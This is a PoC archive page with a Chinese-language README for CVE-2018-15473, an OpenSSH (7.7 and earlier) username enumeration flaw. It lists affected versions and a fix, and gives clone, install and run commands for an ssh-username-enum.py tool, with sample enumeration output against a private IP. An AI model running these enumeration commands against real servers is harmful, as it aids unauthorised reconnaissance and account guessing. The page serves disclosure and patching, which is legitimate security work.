Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2018-15473 PoC — OpenSSH 竞争条件问题漏洞

Source
Associated Vulnerability
Title: OpenSSH 竞争条件问题漏洞 (CVE-2018-15473)
Description:OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.
Readme
CVE-2018-15473
---

成因
---
OpenSSH服务器在对包含了请求的数据包完全解析之前,不会延迟处理一个验证无效的用户。该漏洞和auth2-gss.c,auth2-hostbased.c,auth2-pubkey.c有关。

利用
---
尽管该漏洞不能用来生成有效的用户名列表,但依旧可以拿来枚举猜测用户名。

受影响的版本
---
OpenSSH <= 7.7

不受影响的版本
---
openssh-7.8p1-1.fc28 openssh-7.6p1-6.fc27

poc安装 
---
您可能需要安装发行版的等效`openssl-dev`软件包
```bash
# 注意:如果您在kali上安装,则可以跳过pip安装,只需执行下面第一二三行的步骤,因为paramiko已经存在。 
git clone https://github.com/1stPeak/CVE-2018-15473.git
cd CVE-2018-15473
chmod u+x ssh-username-enum.py
pip install -r requirements.txt 
# 或者使用以下命令下载安装 
pipenv install -r requirements.txt  # if you're cool like that   
chmod u+x ssh-username-enum.py
```

使用举例
---

例1:单个用户枚举
```bash
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -u root 192.168.1.2
[+] root found!
```
例2:使用10个线程进行多个用户枚举(默认线程为4)
```bash
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2
[+] man found!
[+] guest found!
[+] nobody found!
[!] SSH negotiation failed for user nobody4.
[+] lpadmin found!
等等
```
例3:IPV6地址且指定ssh端口号
```bash
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2 '::1'
[+] ROOT found!
[+] syslog found!
[+] sslh found!
[!] SSH negotiation failed for user sssd.
[+] rfindd found!
[+] ultra found!
等等
```

解决方案
---
建议用户升级到不受影响版本。且OpenBSD项目已在以下链接发布了源代码修复:https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0

参考
---
https://github.com/epi052/cve-2018-15473  
http://blog.nsfocus.net/openssh-cve-2018-15919/
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →